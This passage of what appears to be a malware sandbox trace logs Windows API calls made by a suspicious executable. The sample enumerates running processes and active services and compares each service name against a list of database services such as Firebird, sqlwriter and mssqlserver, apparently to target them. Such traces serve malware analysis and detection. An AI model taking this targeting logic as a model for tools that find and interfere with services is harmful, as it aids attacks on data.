-1 [0194.154] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0194.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0194.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0194.154] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0194.154] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0194.154] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3f280b0 | out: hHeap=0x660000) returned 1 [0194.154] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x350 [0194.158] Process32FirstW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.158] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0194.666] lstrlenW (lpString="System") returned 6 [0194.684] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0194.685] lstrlenW (lpString="smss.exe") returned 8 [0194.692] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.692] lstrlenW (lpString="csrss.exe") returned 9 [0194.692] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0194.693] lstrlenW (lpString="wininit.exe") returned 11 [0194.693] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.693] lstrlenW (lpString="csrss.exe") returned 9 [0194.693] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0194.693] lstrlenW (lpString="winlogon.exe") returned 12 [0194.693] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0194.694] lstrlenW (lpString="services.exe") returned 12 [0194.694] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0194.694] lstrlenW (lpString="lsass.exe") returned 9 [0194.694] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0194.695] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0194.695] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0194.695] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0194.695] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.696] lstrlenW (lpString="svchost.exe") returned 11 [0194.696] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.696] lstrlenW (lpString="svchost.exe") returned 11 [0194.696] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0194.697] lstrlenW (lpString="dwm.exe") returned 7 [0194.697] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.697] lstrlenW (lpString="svchost.exe") returned 11 [0194.697] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.698] lstrlenW (lpString="svchost.exe") returned 11 [0194.698] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.698] lstrlenW (lpString="svchost.exe") returned 11 [0194.698] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.698] lstrlenW (lpString="svchost.exe") returned 11 [0194.698] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.699] lstrlenW (lpString="svchost.exe") returned 11 [0194.699] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.699] lstrlenW (lpString="svchost.exe") returned 11 [0194.699] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.700] lstrlenW (lpString="svchost.exe") returned 11 [0194.700] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.700] lstrlenW (lpString="svchost.exe") returned 11 [0194.700] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.701] lstrlenW (lpString="svchost.exe") returned 11 [0194.701] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.701] lstrlenW (lpString="svchost.exe") returned 11 [0194.701] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0194.701] lstrlenW (lpString="spoolsv.exe") returned 11 [0194.701] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.702] lstrlenW (lpString="svchost.exe") returned 11 [0194.702] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0194.702] lstrlenW (lpString="audiodg.exe") returned 11 [0194.702] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0194.703] lstrlenW (lpString="sihost.exe") returned 10 [0194.703] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.703] lstrlenW (lpString="svchost.exe") returned 11 [0194.703] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0194.704] lstrlenW (lpString="taskhostw.exe") returned 13 [0194.704] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0194.704] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0194.704] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0194.704] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0194.704] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0194.705] lstrlenW (lpString="Memory Compression") returned 18 [0194.705] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0194.705] lstrlenW (lpString="explorer.exe") returned 12 [0194.705] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0194.706] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0194.706] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0194.706] lstrlenW (lpString="SearchUI.exe") returned 12 [0194.706] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0194.707] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0194.707] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0194.707] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0194.707] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0194.708] lstrlenW (lpString="dllhost.exe") returned 11 [0194.708] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0194.708] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0194.708] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0194.709] lstrlenW (lpString="cmd.exe") returned 7 [0194.709] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfa8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0194.709] lstrlenW (lpString="cmd.exe") returned 7 [0194.709] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0194.710] lstrlenW (lpString="conhost.exe") returned 11 [0194.710] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0194.710] lstrlenW (lpString="conhost.exe") returned 11 [0194.710] Process32NextW (in: hSnapshot=0x350, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0194.710] CloseHandle (hObject=0x350) returned 1 [0194.710] Sleep (dwMilliseconds=0x1f4) [0195.760] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69daa8 [0195.761] EnumServicesStatusExW (in: hSCManager=0x69daa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0195.761] GetLastError () returned 0xea [0195.761] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1bc4) returned 0x3f00098 [0195.761] EnumServicesStatusExW (in: hSCManager=0x69daa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f00098, cbBufSize=0x1bc4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f00098, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0195.762] CloseServiceHandle (hSCObject=0x69daa8) returned 1 [0195.762] lstrlenW (lpString="Appinfo") returned 7 [0195.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0195.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0195.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0195.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0195.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0195.763] lstrlenW (lpString="AppXSvc") returned 7 [0195.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0195.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0195.763] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0195.763] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0195.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0195.763] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0195.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0195.763] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0195.763] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0195.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0195.763] lstrlenW (lpString="Audiosrv") returned 8 [0195.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0195.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0195.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0195.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0195.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0195.763] lstrlenW (lpString="BFE") returned 3 [0195.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0195.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0195.763] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0195.763] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0195.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0195.763] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0195.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0195.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0195.763] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0195.763] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0195.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0195.763] lstrlenW (lpString="CDPSvc") returned 6 [0195.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0195.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0195.763] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0195.764] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0195.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0195.764] lstrlenW (lpString="ClickToRunSvc") returned 13 [0195.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0195.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0195.764] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0195.764] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0195.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0195.764] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0195.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0195.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0195.764] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0195.764] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0195.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0195.764] lstrlenW (lpString="CryptSvc") returned 8 [0195.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0195.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0195.764] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0195.764] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0195.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0195.764] lstrlenW (lpString="DcomLaunch") returned 10 [0195.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0195.764] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0195.764] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0195.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0195.764] lstrlenW (lpString="DeviceAssociationService") returned 24 [0195.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0195.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0195.764] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0195.764] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0195.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0195.764] lstrlenW (lpString="Dhcp") returned 4 [0195.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0195.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0195.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0195.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0195.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0195.765] lstrlenW (lpString="Dnscache") returned 8 [0195.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0195.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0195.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0195.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0195.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0195.765] lstrlenW (lpString="DPS") returned 3 [0195.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0195.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0195.765] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0195.765] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0195.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0195.765] lstrlenW (lpString="DusmSvc") returned 7 [0195.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0195.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0195.765] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0195.765] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0195.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0195.765] lstrlenW (lpString="EventLog") returned 8 [0195.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0195.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0195.765] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0195.765] lstrcmpiW 